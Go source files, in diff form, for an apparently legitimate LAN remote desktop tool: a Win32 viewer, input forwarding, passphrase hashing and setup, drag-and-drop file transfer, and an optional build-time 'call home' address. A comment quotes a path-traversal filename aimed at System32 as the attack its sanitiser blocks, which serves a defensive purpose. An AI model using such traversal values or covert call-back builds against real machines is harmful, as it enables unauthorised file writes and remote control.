// pingLoop keeps the TLS connection from being silently dropped by NAT/idle
|
||||||
|
// timers, and gives us an early signal if the host has gone away.
|
||||||
|
func pingLoop(a *appState) {
|
||||||
|
ticker := time.NewTicker(10 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-a.done:
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
if err := a.send(protocol.MsgPing, nil); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+504
@@ -0,0 +1,504 @@
|
|||||||
|
// Rendering and input capture for the viewer window. This is plain Win32
|
||||||
|
// (RegisterClassEx / CreateWindowEx / a GetMessage loop) reached via
|
||||||
|
// syscalls through golang.org/x/sys/windows — no cgo, so the binary stays a
|
||||||
|
// single portable executable.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"runtime"
|
||||||
|
"sync/atomic"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
|
||||||
|
"lanrdp/internal/protocol"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
user32 = windows.NewLazySystemDLL("user32.dll")
|
||||||
|
gdi32 = windows.NewLazySystemDLL("gdi32.dll")
|
||||||
|
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||||
|
shell32 = windows.NewLazySystemDLL("shell32.dll")
|
||||||
|
|
||||||
|
procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW")
|
||||||
|
|
||||||
|
procRegisterClassExW = user32.NewProc("RegisterClassExW")
|
||||||
|
procUnregisterClass = user32.NewProc("UnregisterClassW")
|
||||||
|
procCreateWindowExW = user32.NewProc("CreateWindowExW")
|
||||||
|
procDefWindowProcW = user32.NewProc("DefWindowProcW")
|
||||||
|
procShowWindow = user32.NewProc("ShowWindow")
|
||||||
|
procUpdateWindow = user32.NewProc("UpdateWindow")
|
||||||
|
procGetMessageW = user32.NewProc("GetMessageW")
|
||||||
|
procTranslateMessage = user32.NewProc("TranslateMessage")
|
||||||
|
procDispatchMessageW = user32.NewProc("DispatchMessageW")
|
||||||
|
procPostQuitMessage = user32.NewProc("PostQuitMessage")
|
||||||
|
procDestroyWindow = user32.NewProc("DestroyWindow")
|
||||||
|
procInvalidateRect = user32.NewProc("InvalidateRect")
|
||||||
|
procBeginPaint = user32.NewProc("BeginPaint")
|
||||||
|
procEndPaint = user32.NewProc("EndPaint")
|
||||||
|
procGetClientRect = user32.NewProc("GetClientRect")
|
||||||
|
procLoadCursorW = user32.NewProc("LoadCursorW")
|
||||||
|
procAdjustWindowRect = user32.NewProc("AdjustWindowRect")
|
||||||
|
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
|
||||||
|
procRegisterHotKey = user32.NewProc("RegisterHotKey")
|
||||||
|
procUnregisterHotKey = user32.NewProc("UnregisterHotKey")
|
||||||
|
procSetWindowTextW = user32.NewProc("SetWindowTextW")
|
||||||
|
|
||||||
|
procStretchDIBits = gdi32.NewProc("StretchDIBits")
|
||||||
|
procCreateSolidBrush = gdi32.NewProc("CreateSolidBrush")
|
||||||
|
procDeleteObject = gdi32.NewProc("DeleteObject")
|
||||||
|
procFillRect = user32.NewProc("FillRect")
|
||||||
|
|
||||||
|
procDragAcceptFiles = shell32.NewProc("DragAcceptFiles")
|
||||||
|
procDragQueryFileW = shell32.NewProc("DragQueryFileW")
|
||||||
|
procDragFinish = shell32.NewProc("DragFinish")
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
wmDestroy = 0x0002
|
||||||
|
wmPaint = 0x000F
|
||||||
|
wmClose = 0x0010
|
||||||
|
wmEraseBkgnd = 0x0014
|
||||||
|
wmKeyDown = 0x0100
|
||||||
|
wmKeyUp = 0x0101
|
||||||
|
wmMouseMove = 0x0200
|
||||||
|
wmLButtonDown = 0x0201
|
||||||
|
wmLButtonUp = 0x0202
|
||||||
|
wmRButtonDown = 0x0204
|
||||||
|
wmRButtonUp = 0x0205
|
||||||
|
wmMButtonDown = 0x0207
|
||||||
|
wmMButtonUp = 0x0208
|
||||||
|
wmMouseWheel = 0x020A
|
||||||
|
wmHotkey = 0x0312
|
||||||
|
wmDropFiles = 0x0233
|
||||||
|
|
||||||
|
modAlt = 0x0001
|
||||||
|
modControl = 0x0002
|
||||||
|
vkS = 0x53
|
||||||
|
|
||||||
|
streamModeHotkeyID = 1
|
||||||
|
|
||||||
|
wsOverlappedWindow = 0x00CF0000
|
||||||
|
wsVisible = 0x10000000
|
||||||
|
cwUseDefault = 0x80000000
|
||||||
|
|
||||||
|
swShow = 5
|
||||||
|
|
||||||
|
idcArrow = 32512
|
||||||
|
|
||||||
|
srcCopyROP = 0x00CC0020
|
||||||
|
biRGB = 0
|
||||||
|
dibRGBColors = 0
|
||||||
|
|
||||||
|
smCXScreen = 0
|
||||||
|
smCYScreen = 1
|
||||||
|
)
|
||||||
|
|
||||||
|
type wndClassExW struct {
|
||||||
|
cbSize uint32
|
||||||
|
style uint32
|
||||||
|
lpfnWndProc uintptr
|
||||||
|
cbClsExtra int32
|
||||||
|
cbWndExtra int32
|
||||||
|
hInstance windows.Handle
|
||||||
|
hIcon windows.Handle
|
||||||
|
hCursor windows.Handle
|
||||||
|
hbrBackground windows.Handle
|
||||||
|
lpszMenuName *uint16
|
||||||
|
lpszClassName *uint16
|
||||||
|
hIconSm windows.Handle
|
||||||
|
}
|
||||||
|
|
||||||
|
type rectT struct {
|
||||||
|
Left, Top, Right, Bottom int32
|
||||||
|
}
|
||||||
|
|
||||||
|
type pointT struct {
|
||||||
|
X, Y int32
|
||||||
|
}
|
||||||
|
|
||||||
|
type msgT struct {
|
||||||
|
Hwnd uintptr
|
||||||
|
Message uint32
|
||||||
|
WParam uintptr
|
||||||
|
LParam uintptr
|
||||||
|
Time uint32
|
||||||
|
Pt pointT
|
||||||
|
}
|
||||||
|
|
||||||
|
type paintStruct struct {
|
||||||
|
Hdc windows.Handle
|
||||||
|
FErase int32
|
||||||
|
RcPaint rectT
|
||||||
|
FRestore int32
|
||||||
|
FIncUpdate int32
|
||||||
|
RgbReserved [32]byte
|
||||||
|
}
|
||||||
|
|
||||||
|
type bitmapInfoHeader struct {
|
||||||
|
Size uint32
|
||||||
|
Width int32
|
||||||
|
Height int32
|
||||||
|
Planes uint16
|
||||||
|
BitCount uint16
|
||||||
|
Compression uint32
|
||||||
|
SizeImage uint32
|
||||||
|
XPelsPerMeter int32
|
||||||
|
YPelsPerMeter int32
|
||||||
|
ClrUsed uint32
|
||||||
|
ClrImportant uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
var currentHwnd atomic.Uintptr
|
||||||
|
|
||||||
|
func invalidateWindow(a *appState) {
|
||||||
|
h := currentHwnd.Load()
|
||||||
|
if h == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
procInvalidateRect.Call(h, 0, 0)
|
||||||
|
}
|
||||||
|
|
||||||
|
func getClientSize(hwnd uintptr) (int, int) {
|
||||||
|
var r rectT
|
||||||
|
procGetClientRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
|
||||||
|
w := int(r.Right - r.Left)
|
||||||
|
h := int(r.Bottom - r.Top)
|
||||||
|
if w <= 0 {
|
||||||
|
w = 1
|
||||||
|
}
|
||||||
|
if h <= 0 {
|
||||||
|
h = 1
|
||||||
|
}
|
||||||
|
return w, h
|
||||||
|
}
|
||||||
|
|
||||||
|
func onPaint(hwnd uintptr) {
|
||||||
|
var ps paintStruct
|
||||||
|
hdc, _, _ := procBeginPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
|
||||||
|
defer procEndPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
|
||||||
|
|
||||||
|
clientW, clientH := getClientSize(hwnd)
|
||||||
|
|
||||||
|
app.fbMu.Lock()
|
||||||
|
fbW, fbH := app.fbW, app.fbH
|
||||||
|
fb := app.fb
|
||||||
|
app.fbMu.Unlock()
|
||||||
|
|
||||||
|
if fbW <= 0 || fbH <= 0 || len(fb) < fbW*fbH*4 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
hdr := bitmapInfoHeader{
|
||||||
|
Width: int32(fbW),
|
||||||
|
Height: -int32(fbH),
|
||||||
|
Planes: 1,
|
||||||
|
BitCount: 32,
|
||||||
|
Compression: biRGB,
|
||||||
|
}
|
||||||
|
hdr.Size = uint32(unsafe.Sizeof(hdr))
|
||||||
|
|
||||||
|
procStretchDIBits.Call(
|
||||||
|
hdc,
|
||||||
|
0, 0, uintptr(clientW), uintptr(clientH),
|
||||||
|
0, 0, uintptr(fbW), uintptr(fbH),
|
||||||
|
uintptr(unsafe.Pointer(&fb[0])),
|
||||||
|
uintptr(unsafe.Pointer(&hdr)),
|
||||||
|
uintptr(dibRGBColors),
|
||||||
|
uintptr(srcCopyROP),
|
||||||
|
)
|
||||||
|
|
||||||
|
drawModeIndicator(hdc, clientW, clientH)
|
||||||
|
}
|
||||||
|
|
||||||
|
// streamModeBorderColor is a COLORREF (0x00BBGGRR) for a vivid orange,
|
||||||
|
// chosen to be unmistakable against arbitrary desktop content.
|
||||||
|
const streamModeBorderColor = 0x0000A5FF
|
||||||
|
|
||||||
|
const streamModeBorderPx = 6
|
||||||
|
|
||||||
|
// drawModeIndicator paints a thick colored border around the video when
|
||||||
|
// stream mode is active, so the current mode is visible at a glance
|
||||||
|
// without relying on the window title (easy to miss, especially
|
||||||
|
// maximized). Nothing is drawn in normal mode.
|
||||||
|
func drawModeIndicator(hdc uintptr, clientW, clientH int) {
|
||||||
|
if !app.streamMode {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
brush, _, _ := procCreateSolidBrush.Call(uintptr(streamModeBorderColor))
|
||||||
|
if brush == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer procDeleteObject.Call(brush)
|
||||||
|
|
||||||
|
edges := []rectT{
|
||||||
|
{0, 0, int32(clientW), streamModeBorderPx}, // top
|
||||||
|
{0, int32(clientH - streamModeBorderPx), int32(clientW), int32(clientH)}, // bottom
|
||||||
|
{0, 0, streamModeBorderPx, int32(clientH)}, // left
|
||||||
|
{int32(clientW - streamModeBorderPx), 0, int32(clientW), int32(clientH)}, // right
|
||||||
|
}
|
||||||
|
for _, r := range edges {
|
||||||
|
procFillRect.Call(hdc, uintptr(unsafe.Pointer(&r)), brush)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func mouseCoords(hwnd uintptr, lparam uintptr) (normX, normY uint16) {
|
||||||
|
x := int(int16(uint16(lparam & 0xFFFF)))
|
||||||
|
y := int(int16(uint16((lparam >> 16) & 0xFFFF)))
|
||||||
|
clientW, clientH := getClientSize(hwnd)
|
||||||
|
if x < 0 {
|
||||||
|
x = 0
|
||||||
|
}
|
||||||
|
if y < 0 {
|
||||||
|
y = 0
|
||||||
|
}
|
||||||
|
if x >= clientW {
|
||||||
|
x = clientW - 1
|
||||||
|
}
|
||||||
|
if y >= clientH {
|
||||||
|
y = clientH - 1
|
||||||
|
}
|
||||||
|
nx := x * 65535 / max(clientW-1, 1)
|
||||||
|
ny := y * 65535 / max(clientH-1, 1)
|
||||||
|
return uint16(nx), uint16(ny)
|
||||||
|
}
|
||||||
|
|
||||||
|
// onMouseEvent forwards a mouse event to the host, unless stream mode is
|
||||||
|
// active — stream mode is meant for watching the host's own activity
|
||||||
|
// without interfering with it, so mouse control is suppressed while it's
|
||||||
|
// on (screen updates keep flowing either way).
|
||||||
|
func onMouseEvent(hwnd uintptr, action protocol.MouseAction, lparam uintptr) {
|
||||||
|
if app.streamMode {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
nx, ny := mouseCoords(hwnd, lparam)
|
||||||
|
_ = app.send(protocol.MsgInputMouse, protocol.EncodeInputMouse(protocol.InputMouse{
|
||||||
|
Action: action, NormX: nx, NormY: ny,
|
||||||
|
}))
|
||||||
|
}
|
||||||
|
|
||||||
|
func onWheel(wparam uintptr) {
|
||||||
|
if app.streamMode {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
delta := int16(int32(wparam) >> 16)
|
||||||
|
_ = app.send(protocol.MsgInputMouse, protocol.EncodeInputMouse(protocol.InputMouse{
|
||||||
|
Action: protocol.MouseWheel, WheelDelta: delta,
|
||||||
|
}))
|
||||||
|
}
|
||||||
|
|
||||||
|
const maxDropPath = 32768 // long-path-safe buffer size for DragQueryFileW
|
||||||
|
|
||||||
|
// handleDropFiles is called on WM_DROPFILES. File transfer only makes
|
||||||
|
// sense in normal (RDP) mode — stream mode is meant to be view-only — so
|
||||||
|
// drops are silently ignored while stream mode is on. Multiple dropped
|
||||||
|
// files are sent one at a time in a single background goroutine rather
|
||||||
|
// than concurrently, since interleaving two transfers' chunks on the same
|
||||||
|
// connection would corrupt both on the host's receiving end.
|
||||||
|
func handleDropFiles(hwnd uintptr, hDrop uintptr) {
|
||||||
|
defer procDragFinish.Call(hDrop)
|
||||||
|
|
||||||
|
if app.streamMode {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
count, _, _ := procDragQueryFileW.Call(hDrop, 0xFFFFFFFF, 0, 0)
|
||||||
|
if count == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
paths := make([]string, 0, count)
|
||||||
|
for i := uintptr(0); i < count; i++ {
|
||||||
|
buf := make([]uint16, maxDropPath)
|
||||||
|
n, _, _ := procDragQueryFileW.Call(hDrop, i, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||||
|
if n == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
paths = append(paths, windows.UTF16ToString(buf[:n]))
|
||||||
|
}
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
for _, p := range paths {
|
||||||
|
sendFile(p)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// toggleStreamMode flips between the host's normal and low-latency
|
||||||
|
// capture presets (Ctrl+Alt+S) and reflects the current mode in the
|
||||||
|
// window title, since there's no other visible indicator of it.
|
||||||
|
func toggleStreamMode(hwnd uintptr) {
|
||||||
|
app.streamMode = !app.streamMode
|
||||||
|
mode := protocol.PerfNormal
|
||||||
|
title := "lanrdp viewer"
|
||||||
|
if app.streamMode {
|
||||||
|
mode = protocol.PerfStream
|
||||||
|
title = "lanrdp viewer [STREAM MODE]"
|
||||||
|
}
|
||||||
|
_ = app.send(protocol.MsgSetPerfMode, protocol.EncodeSetPerfMode(mode))
|
||||||
|
|
||||||
|
titlePtr, err := windows.UTF16PtrFromString(title)
|
||||||
|
if err == nil {
|
||||||
|
procSetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(titlePtr)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Repaint immediately so the border indicator appears/disappears right
|
||||||
|
// away instead of waiting for the next frame update from the host.
|
||||||
|
procInvalidateRect.Call(hwnd, 0, 0)
|
||||||
|
}
|
||||||
|
|
||||||
|
func wndProc(hwnd, msg, wparam, lparam uintptr) uintptr {
|
||||||
|
switch msg {
|
||||||
|
case wmPaint:
|
||||||
|
onPaint(hwnd)
|
||||||
|
return 0
|
||||||
|
case wmEraseBkgnd:
|
||||||
|
return 1
|
||||||
|
case wmClose:
|
||||||
|
_ = app.send(protocol.MsgDisconnect, nil)
|
||||||
|
procDestroyWindow.Call(hwnd)
|
||||||
|
return 0
|
||||||
|
case wmDestroy:
|
||||||
|
procPostQuitMessage.Call(0)
|
||||||
|
return 0
|
||||||
|
case wmMouseMove:
|
||||||
|
onMouseEvent(hwnd, protocol.MouseMove, lparam)
|
||||||
|
return 0
|
||||||
|
case wmLButtonDown:
|
||||||
|
onMouseEvent(hwnd, protocol.MouseLeftDown, lparam)
|
||||||
|
return 0
|
||||||
|
case wmLButtonUp:
|
||||||
|
onMouseEvent(hwnd, protocol.MouseLeftUp, lparam)
|
||||||
|
return 0
|
||||||
|
case wmRButtonDown:
|
||||||
|
onMouseEvent(hwnd, protocol.MouseRightDown, lparam)
|
||||||
|
return 0
|
||||||
|
case wmRButtonUp:
|
||||||
|
onMouseEvent(hwnd, protocol.MouseRightUp, lparam)
|
||||||
|
return 0
|
||||||
|
case wmMButtonDown:
|
||||||
|
onMouseEvent(hwnd, protocol.MouseMiddleDown, lparam)
|
||||||
|
return 0
|
||||||
|
case wmMButtonUp:
|
||||||
|
onMouseEvent(hwnd, protocol.MouseMiddleUp, lparam)
|
||||||
|
return 0
|
||||||
|
case wmMouseWheel:
|
||||||
|
onWheel(wparam)
|
||||||
|
return 0
|
||||||
|
case wmHotkey:
|
||||||
|
if wparam == streamModeHotkeyID {
|
||||||
|
toggleStreamMode(hwnd)
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
case wmKeyDown:
|
||||||
|
if !app.streamMode {
|
||||||
|
_ = app.send(protocol.MsgInputKey, protocol.EncodeInputKey(protocol.InputKey{VKCode: uint16(wparam), Down: true}))
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
case wmKeyUp:
|
||||||
|
if !app.streamMode {
|
||||||
|
_ = app.send(protocol.MsgInputKey, protocol.EncodeInputKey(protocol.InputKey{VKCode: uint16(wparam), Down: false}))
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
case wmDropFiles:
|
||||||
|
handleDropFiles(hwnd, wparam)
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
ret, _, _ := procDefWindowProcW.Call(hwnd, msg, wparam, lparam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
func runWindow(a *appState, remoteW, remoteH int) {
|
||||||
|
runtime.LockOSThread()
|
||||||
|
|
||||||
|
className, _ := windows.UTF16PtrFromString("LanRDPViewerWindow")
|
||||||
|
title, _ := windows.UTF16PtrFromString("lanrdp viewer")
|
||||||
|
|
||||||
|
hInstance, _, _ := procGetModuleHandleW.Call(0)
|
||||||
|
|
||||||
|
cursor, _, _ := procLoadCursorW.Call(0, uintptr(idcArrow))
|
||||||
|
|
||||||
|
wc := wndClassExW{
|
||||||
|
style: 0,
|
||||||
|
lpfnWndProc: windows.NewCallback(wndProc),
|
||||||
|
hInstance: windows.Handle(hInstance),
|
||||||
|
hCursor: windows.Handle(cursor),
|
||||||
|
lpszClassName: className,
|
||||||
|
}
|
||||||
|
wc.cbSize = uint32(unsafe.Sizeof(wc))
|
||||||
|
|
||||||
|
if ret, _, _ := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc))); ret == 0 {
|
||||||
|
panic("RegisterClassExW failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
clientW, clientH := remoteW, remoteH
|
||||||
|
if clientW <= 0 {
|
||||||
|
clientW = 1024
|
||||||
|
}
|
||||||
|
if clientH <= 0 {
|
||||||
|
clientH = 768
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clamp the initial client area to the local screen (minus a margin for
|
||||||
|
// the title bar/taskbar) so a host with a larger resolution than this
|
||||||
|
// machine doesn't open a window bigger than the display. This only
|
||||||
|
// changes the window's on-screen size, not the mapping: mouse input is
|
||||||
|
// always normalized against the window's actual (live) client rect, so
|
||||||
|
// the picture stays correctly aligned regardless of any scaling here.
|
||||||
|
screenW, _, _ := procGetSystemMetrics.Call(uintptr(smCXScreen))
|
||||||
|
screenH, _, _ := procGetSystemMetrics.Call(uintptr(smCYScreen))
|
||||||
|
maxW, maxH := int(screenW)-100, int(screenH)-100
|
||||||
|
if maxW > 0 && maxH > 0 && (clientW > maxW || clientH > maxH) {
|
||||||
|
scale := min(float64(maxW)/float64(clientW), float64(maxH)/float64(clientH))
|
||||||
|
clientW = int(float64(clientW) * scale)
|
||||||
|
clientH = int(float64(clientH) * scale)
|
||||||
|
}
|
||||||
|
|
||||||
|
// AdjustWindowRect turns our desired *client area* size into the
|
||||||
|
// outer window size CreateWindowExW expects (which includes the
|
||||||
|
// title bar and borders), so the window's actual client rect ends up
|
||||||
|
// exactly clientW x clientH instead of being a few pixels smaller.
|
||||||
|
wr := rectT{0, 0, int32(clientW), int32(clientH)}
|
||||||
|
procAdjustWindowRect.Call(uintptr(unsafe.Pointer(&wr)), uintptr(wsOverlappedWindow), 0)
|
||||||
|
outerW := int(wr.Right - wr.Left)
|
||||||
|
outerH := int(wr.Bottom - wr.Top)
|
||||||
|
|
||||||
|
hwnd, _, _ := procCreateWindowExW.Call(
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(className)),
|
||||||
|
uintptr(unsafe.Pointer(title)),
|
||||||
|
uintptr(wsOverlappedWindow|wsVisible),
|
||||||
|
uintptr(cwUseDefault), uintptr(cwUseDefault),
|
||||||
|
uintptr(outerW), uintptr(outerH),
|
||||||
|
0, 0,
|
||||||
|
hInstance,
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
if hwnd == 0 {
|
||||||
|
panic("CreateWindowExW failed")
|
||||||
|
}
|
||||||
|
currentHwnd.Store(hwnd)
|
||||||
|
|
||||||
|
procDragAcceptFiles.Call(hwnd, 1) // enables WM_DROPFILES for drag-and-drop file transfer
|
||||||
|
|
||||||
|
if ret, _, _ := procRegisterHotKey.Call(hwnd, uintptr(streamModeHotkeyID), uintptr(modControl|modAlt), uintptr(vkS)); ret == 0 {
|
||||||
|
// Non-fatal: some other app may already own Ctrl+Alt+S. The viewer
|
||||||
|
// still works, just without the toggle.
|
||||||
|
}
|
||||||
|
defer procUnregisterHotKey.Call(hwnd, uintptr(streamModeHotkeyID))
|
||||||
|
|
||||||
|
procShowWindow.Call(hwnd, uintptr(swShow))
|
||||||
|
procUpdateWindow.Call(hwnd)
|
||||||
|
|
||||||
|
var m msgT
|
||||||
|
for {
|
||||||
|
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
|
||||||
|
if int32(ret) <= 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
|
||||||
|
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = a.conn.Close()
|
||||||
|
}
|
||||||
Executable
+35
@@ -0,0 +1,35 @@
|
|||||||
|
// Command hashpw reads a single line (a passphrase) from stdin and prints
|
||||||
|
// its Argon2id hash to stdout, with no other output. It exists so
|
||||||
|
// build-host.ps1 can turn a passphrase into the string that gets baked
|
||||||
|
// into host.exe via -ldflags, without duplicating the hashing logic
|
||||||
|
// outside of Go.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"lanrdp/internal/protocol"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
reader := bufio.NewReader(os.Stdin)
|
||||||
|
line, err := reader.ReadString('\n')
|
||||||
|
if err != nil && line == "" {
|
||||||
|
fmt.Fprintln(os.Stderr, "hashpw: reading passphrase from stdin:", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
line = strings.TrimRight(line, "\r\n")
|
||||||
|
if len(line) < 8 {
|
||||||
|
fmt.Fprintln(os.Stderr, "hashpw: passphrase must be at least 8 characters")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
hash, err := protocol.HashPassword(line)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Fprintln(os.Stderr, "hashpw:", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
fmt.Print(hash)
|
||||||
|
}
|
||||||
Executable
+86
@@ -0,0 +1,86 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
|
||||||
|
"golang.org/x/term"
|
||||||
|
|
||||||
|
"lanrdp/internal/protocol"
|
||||||
|
)
|
||||||
|
|
||||||
|
type config struct {
|
||||||
|
PasswordHash string `json:"password_hash"`
|
||||||
|
Port int `json:"port,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func configPath(dataDir string) string {
|
||||||
|
return filepath.Join(dataDir, "config.json")
|
||||||
|
}
|
||||||
|
|
||||||
|
func loadConfig(dataDir string) (*config, error) {
|
||||||
|
data, err := os.ReadFile(configPath(dataDir))
|
||||||
|
if os.IsNotExist(err) {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var c config
|
||||||
|
if err := json.Unmarshal(data, &c); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return &c, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func saveConfig(dataDir string, c *config) error {
|
||||||
|
if err := os.MkdirAll(dataDir, 0o700); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
data, err := json.MarshalIndent(c, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return os.WriteFile(configPath(dataDir), data, 0o600)
|
||||||
|
}
|
||||||
|
|
||||||
|
// firstRunSetup interactively asks the operator to set a passphrase for
|
||||||
|
// this host and persists its Argon2id hash. It never writes the plaintext
|
||||||
|
// passphrase to disk.
|
||||||
|
func firstRunSetup(dataDir string) (*config, error) {
|
||||||
|
fmt.Println("No passphrase configured yet for this host.")
|
||||||
|
for {
|
||||||
|
fmt.Print("Set a passphrase (min 8 characters): ")
|
||||||
|
pw1, err := term.ReadPassword(int(os.Stdin.Fd()))
|
||||||
|
fmt.Println()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("reading passphrase: %w", err)
|
||||||
|
}
|
||||||
|
if len(pw1) < 8 {
|
||||||
|
fmt.Println("Too short, try again.")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fmt.Print("Confirm passphrase: ")
|
||||||
|
pw2, err := term.ReadPassword(int(os.Stdin.Fd()))
|
||||||
|
fmt.Println()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("reading passphrase: %w", err)
|
||||||
|
}
|
||||||
|
if string(pw1) != string(pw2) {
|
||||||
|
fmt.Println("Passphrases did not match, try again.")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
hash, err := protocol.HashPassword(string(pw1))
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
c := &config{PasswordHash: hash}
|
||||||
|
if err := saveConfig(dataDir, c); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
fmt.Println("Passphrase saved.")
|
||||||
|
return c, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+22
@@ -0,0 +1,22 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
// embeddedPasswordHash is baked in at build time by build-host.ps1 via:
|
||||||
|
//
|
||||||
|
// go build -ldflags "-X main.embeddedPasswordHash=<argon2id hash>"
|
||||||
|
//
|
||||||
|
// Left empty for a plain `go build`, in which case the host falls back to
|
||||||
|
// interactive first-run passphrase setup backed by config.json.
|
||||||
|
var embeddedPasswordHash string
|
||||||
|
|
||||||
|
// embeddedConnectAddr is optionally baked in at build time by
|
||||||
|
// build-host.ps1 via:
|
||||||
|
//
|
||||||
|
// go build -ldflags "-X main.embeddedConnectAddr=<client-ip:port>"
|
||||||
|
//
|
||||||
|
// If set, and -connect isn't passed at runtime, this host dials out to
|
||||||
|
// this address by default instead of listening — for a host built
|
||||||
|
// specifically to call back to one particular client (e.g. a laptop
|
||||||
|
// built to always call home to a desktop). Left empty by default, so a
|
||||||
|
// build with no -connect flag still falls back to the normal interactive
|
||||||
|
// listen-address picker.
|
||||||
|
var embeddedConnectAddr string
|
||||||
Executable
+113
@@ -0,0 +1,113 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
|
||||||
|
"lanrdp/internal/protocol"
|
||||||
|
)
|
||||||
|
|
||||||
|
// fileTransferState tracks one in-progress incoming file. Only one
|
||||||
|
// transfer is ever active at a time per session — the client serializes
|
||||||
|
// drag-and-drop sends on its end, and this struct doesn't try to
|
||||||
|
// interleave multiple concurrent transfers.
|
||||||
|
type fileTransferState struct {
|
||||||
|
f *os.File
|
||||||
|
path string
|
||||||
|
expected uint64
|
||||||
|
written uint64
|
||||||
|
}
|
||||||
|
|
||||||
|
// receivedFilesDir returns (creating if needed) the folder incoming files
|
||||||
|
// are saved to: a dedicated, clearly-labeled subfolder of the current
|
||||||
|
// user's Desktop, so transfers are easy to find and never silently land
|
||||||
|
// somewhere unexpected.
|
||||||
|
func receivedFilesDir() (string, error) {
|
||||||
|
home, err := os.UserHomeDir()
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("resolving home directory: %w", err)
|
||||||
|
}
|
||||||
|
dir := filepath.Join(home, "Desktop", "lanrdp-received")
|
||||||
|
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||||
|
return "", fmt.Errorf("creating %s: %w", dir, err)
|
||||||
|
}
|
||||||
|
return dir, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// sanitizeFilename strips any directory components from a client-supplied
|
||||||
|
// name so a crafted filename (e.g. "..\..\Windows\System32\x") can never
|
||||||
|
// write outside receivedFilesDir. filepath.Base collapses ".." components
|
||||||
|
// and separators, leaving only the final path element.
|
||||||
|
func sanitizeFilename(name string) string {
|
||||||
|
name = filepath.Base(name)
|
||||||
|
if name == "" || name == "." || name == ".." || name == string(filepath.Separator) {
|
||||||
|
return "upload.bin"
|
||||||
|
}
|
||||||
|
return name
